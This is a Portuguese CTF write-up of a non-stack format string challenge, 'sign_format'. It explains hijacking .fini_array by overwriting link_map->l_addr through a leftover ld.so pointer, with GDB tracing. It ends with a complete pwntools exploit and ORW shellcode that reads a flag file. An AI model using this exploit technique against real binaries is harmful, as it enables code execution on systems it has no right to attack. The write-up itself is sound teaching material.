1. Sequestro do .fini_array
Recentemente participei de uma competição CTF e foi minha primeira vez resolvendo um desafio de format string não localizado na pilha, que anteriormente só havia visto na documentação do CTF Wiki. Aprendi fazendo e, após a última hora de competição, consegui resolver o problema. Usarei um desafio da competição como exemplo.
1.1 Desafio sign_format
Descrição: Um desafio de format string não-localizado na pilha. A exploração consiste em modificar um deslocamento dentro do array dl_fini, fazendo com que, ao final da execução do programa, um shellcode escrito na seção BSS seja executado.
Análise de proteções: PIE desabilitado, outras proteções ativas. Além disso, um sandbox está habilitado, necessitando a utilização de operações ORW.
Fluxo principal do programa:
__int64 __fastcall main(int a1, char **a2, char **a3)
{
configurar_sandbox();
puts("Bem-vindo!");
puts("Esta é uma questão simples de registro.");
puts("Vamos começar!");
close(1);
read(0, buffer_formato, 0x100uLL);
printf(buffer_formato);
return 0LL;
}
A leitura de uma longa sequência de dados ocorre, seguida da vulnerabilidade de format string. O fluxo de saída padrão (stdout) está fechado.
A variável buffer_formato está localizada na seção BSS, o que impede a modificação do endereço de retorno. A instrução %n em um format string interpreta endereços. Quando a string de formato não está na pilha, não é possível acessar endereços nela escritos para realizar uma escrita arbitrária. O endereço de retorno também se torna incontrolável.
Considera-se, portanto, a técnica de sequestro do .fini_array.
1.2 Sequestrando o .fini_array
Funcionalidade: Ao chamar a função exit, é possível executar código em um endereço arbitrário.
Pré-requisitos: É necessário modificar um valor na região de memória do ld.so. Supõe-se que este valor pode permanecer na pilha durante o processo de vinculação dinâmica.
1.2.1 Análise de Princípios
Veja o diagrama de fluxo de execução do programa (não representado visualmente aqui).
Durante a finalização da execução do programa, a função exit é chamada. Se controlarmos o ponteiro exit para o fini_array, é possível a execução arbitrária de código. Vamos analisar mais detalhadamente o parâmetro finiarray.
1.2.2 Função dl_fini
Ao chamar exit, a função dl_fini é invocada.
Originalmente, l->l_addr é 0, e o ponteiro l->l_info[DT_FINI_ARRAY]->d_un.d_ptr aponta para o endereço da seção fini_array do programa. Ou seja, l->l_info[DT_FINI_ARRAY]->d_un.d_ptr tem o valor 0x0000000000403D98.
Se pudermos controlar o ponteiro linkmap->l_addr, podemos deslocar a execução do programa para uma posição que controlamos e executar um shellcode. É crucial notar que este armazena um endereço de programa: 0x401200. Portanto, ao forjar l_addr, o valor após o deslocamento deve ser o endereço do shellcode.
Então, como controlar l_addr através de uma format string? A resposta envolve um ponteiro remanescente do ld.so na pilha.
1.3 Análise Dinâmica com GDB
Após a conclusão da função main, a execução salta para a função exit.
Ao entrar na função exit, observa-se que ela chama a função __run_exit_handlers.
Continuando o passo a passo, esta função chama a função __dl_fini, que então executa a instrução call rax.
Verificando o endereço em rax, ele aponta para 0x40406b, que por sua vez aponta para 0x404073. Este valor já foi modificado por nós. Originalmente, rax deveria ser 0x0403D98 -> 0x401200, que levaria à execução do seguinte código:
Na função dl_fini:
Quando modificamos l_addr, array[i] se torna controlável.
Apenas precisamos calcular 0x40406B - 0x403D98 = 723 para saber o valor que devemos atribuir a l_addr. A questão então é: como alterar esse valor?
1.4 Modificando o Campo l->l_addr do ElfW para Sequestrar a Execução do fini_array
Conforme mencionado, existe um endereço remanescente do ld.so na pilha. Supõe-se que isso seja um resíduo do processo de vinculação dinâmica. Neste desafio, é o endereço rosa cujos últimos dígitos são 0x2e0. O valor armazenado lá, 0x2d3 (que é 723), já foi modificado por nós após a exploração da format string. Originalmente, o valor armazenado era 0, correspondendo a l->l_addr = 0.
Especificamente na função dl_fini:
A instrução add rax, qword ptr [r15] é executada. Aqui, r15 contém o dado do ld.so presente na pilha. Assim, basta usar a vulnerabilidade de format string para modificar o valor armazenado no endereço do ld.so. Isso controlará o valor em rax, alterando-o de 0x401200+0x0 para o endereço do shellcode que desejamos executar.
Isso corresponde a l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr, reusltando no sequestro do fini_array.
O valor numérico exato já foi calculado: 0x40406B - 0x403D98 = 723. O próximo passo é encontrar o deslocamento na format string para este endereço do ld.so e, então, modificar o dado armazenado de 0 para 723.
Nota Adicional:
Durante a execução de dl_fini, há momentos em que o valor de rax é 0x403e00. Este é, na verdade, o endereço da seção .dynamic, que contém a tabela de informações de endereços para funções de vinculação dinâmica ou outros dados. O valor exato depende da análise específica.
Estrutura Relacionada:
typedef struct{
ELF64_Sxword d_tag;
union{
ELF64_Xword d_val;
ELF64_Addr d_ptr;
} d_un;
} ELF64_Dyn;
Esta estrutura utiliza o primeiro campo d_tag para determinar a finalidade do segundo campo. Neste caso, é usado para localizar o deslocamento de dl_fini. Quem já estudou ret2dlresolve deve estar familiarizado com isso.
1.5 Exploit
from pwn import *
# Configurações do binário e da biblioteca
caminho_binario = "./desafio_format"
elf = ELF(caminho_binario)
biblioteca = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# Parâmetros de conexão
endereco_ip = 'endereco.do.servidor'
porta_conexao = 47726
execucao_local = True
if execucao_local:
processo_alvo = process(caminho_binario)
else:
processo_alvo = remote(endereco_ip, porta_conexao)
context(log_level='debug', os='linux', arch='amd64')
def depurar():
gdb.attach(processo_alvo)
pause()
enviar = lambda dados: processo_alvo.send(dados)
enviar_linha = lambda dados: processo_alvo.sendline(dados)
enviar_apos = lambda texto, dados: processo_alvo.sendafter(texto, dados)
enviar_linha_apos = lambda texto, dados: processo_alvo.sendlineafter(texto, dados)
receber = lambda: processo_alvo.recv()
receber_ate = lambda texto: processo_alvo.recvuntil(texto)
desempacotar64 = lambda: u64(processo_alvo.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
# Endereços importantes
endereco_leitura_main = 0x0040144A
endereco_bss = 0x0404060
endereco_fini_array = 0x403d90
# Cálculo do deslocamento necessário
valor_deslocamento = 0x40406B - 0x403D98 # Resultado: 723
# Payload de formatação para escrever 723 no endereço alvo
payload_formato = b"%" + f"{valor_deslocamento}c%34$hn".encode()
endereco_alvo_escrita = 0x40406b + 8
# Shellcode para operações ORW (Open, Read, Write)
shellcode_orw = asm("""
push 0x67616c66
push 2
pop rax
mov rdi, rsp
xor rsi, rsi
syscall
mov rdi, rax
xor rax, rax
mov rsi, 0x404200
push 0x30
pop rdx
syscall
push 1
pop rax
push 2
pop rdi
mov rsi, 0x404200
push 0x30
pop rdx
syscall
""")
# Montagem do payload final
payload_final = payload_formato + p64(endereco_alvo_escrita) + shellcode_orw
# Envio do payload e interação
depurar()
enviar_linha(payload_final)
processo_alvo.interactive()